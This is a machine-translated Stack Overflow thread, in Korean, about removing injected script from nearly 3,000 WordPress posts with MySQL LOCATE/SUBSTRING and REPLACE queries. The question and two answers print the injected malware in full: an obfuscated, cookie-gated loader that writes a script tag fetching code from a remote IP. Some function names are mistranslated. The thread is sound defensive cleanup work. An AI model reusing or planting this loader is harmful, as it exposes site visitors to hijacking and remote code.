sql 주입 공격에서 게시물의 스크립트를 제거하는 방법?
제 워드프레스 사이트를 SQL 주입 공격에 취약하게 만든 플러그인이 있었습니다.그 이후로 사이트를 잠그고 워드프레스 파일을 모두 제거하고 워드프레스를 다시 설치했습니다.그 이후로 플러그인도 제거되었습니다.유감스럽게도 저는 다음 예제 스크립트가 설치된 2503개의 모든 게시물을 가지고 있습니다.
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->
문제는 특정 스크립트를 검색할 때 게시물마다 base64 문자열이 다르다는 것입니다.그래서 찾기만 하고 교체/제거만 할 수는 없습니다.
스크립트의 처음과 끝이 실제로 주석이 붙어 있기 때문에 데이터베이스 쿼리가 어떻게든 그들 사이의 코드를 제거하고 두 번째 쿼리가 주석을 제거할 수 없을까 하는 생각이 들었습니다.그렇다면 이걸 어디에서도 못 찾겠어요.쉽게 할 수 있을 것 같지만 (구글에 따르면) 꽤 복잡합니다.
누군가가 절차적인 해결책을 갖기를 바랍니다.그동안 누군가가 시간을 절약할 수 있기를 바라며 수동으로 제거 작업을 할 것입니다.
MySQL 8.0은 새로운 함수 REGEXP_REFACE()를 도입했지만 이전 버전의 MySQL을 사용하는 경우 LOCENT()를 사용하여 텍스트에서 시작과 끝 위치를 찾은 다음 두 위치 사이의 내용을 잘라낼 수 있습니다.
이것을 테스트해 봤습니다. 테이블을 만들었습니다.wp_mytable기분 나쁜 텍스트를 입력하고 전후에 약간의 텍스트를 입력합니다.
mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
LOCATE()는 열기 태그와 닫기 태그를 찾을 수 있습니다.
mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+
mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+
이제 우리가 대신한다면txt9번 위치 이전 및 830번 위치 이후의 내용물로LENGTH('<!--/codes_iframe-->'), 그러면 문제 내용이 제거됩니다.
먼저 SELECT로 테스트합니다.
mysql> SELECT
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123
post_txt:
And that's all, folks.
적합한 하위 문자열이라고 확신할 경우 조각을 연결하여 업데이트에 사용합니다.
mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
항상 그렇듯이, 이런 종류의 수술을 시도하기 전에 데이터를 백업해야 합니다.
특정 텍스트 내에 가해 스크립트가 두 번 삽입된 경우, 이 교체 작업을 수행한 후 데이터를 다시 검색해야 한다는 생각도 듭니다.교체 방법은 첫 번째 발생만 제거하지만, 원하는 것입니다.스크립트가 두 번 발생하는 사이에 올바른 텍스트를 제거하고 싶지는 않을 것입니다.
그런데 SQL 주입 공격으로 해킹을 당했다니 유감입니다.사람들은 가끔 빠지기도 합니다.
이 스레드에 도움이 된다고 생각해서 추가하고 싶었지만 게시된 답변과 약간 다릅니다.
가장 중요한 것은 제 워드프레스 데이터베이스의 공격이 수많은 wp_posts의 끝에 부착되었다는 것입니다.그래서 끈 두 개를 다시 붙일 필요가 없었고, 끝부터 다듬을 뿐이었습니다.
이 버전이 가장 좋은 버전인지는 확실하지 않지만, 다음은 (셀렉트로 테스트한 후) 저에게 효과가 있었고 거의 3,000개에 달하는 공격적인 코드의 게시물을 삭제한 것입니다.
UPDATE wp_posts SET post_content =
SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
WHERE LOCATE('<!--codes_iframe-->', post_content) >0;
드디어 내 사이트를 클리어 할 수 있게 도와주셔서 감사합니다!
기능을 사용해 볼 수 있습니다.replace가장 확실한 것은 다음과 같습니다.
UPDATE wp_posts SET post_content = replace(post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->',
'');
언급URL : https://stackoverflow.com/questions/52249409/how-to-remove-scripts-in-posts-from-an-sql-injection-attack
'programing' 카테고리의 다른 글
| 행 선택과 업데이트를 동시에 할 수 있는 방법이 있습니까? (0) | 2023.11.07 |
|---|---|
| PowerShell의 변수에 null 값을 할당하려면 어떻게 해야 합니까? (0) | 2023.11.07 |
| WordPress의 외부 DB에서 SQL 쿼리 (0) | 2023.11.02 |
| 클라이언트 PC에 로컬 DB 배포 (0) | 2023.11.02 |
| C/C++의 서로 다른 호출 규약은 무엇이며 각각의 의미는 무엇입니까? (0) | 2023.11.02 |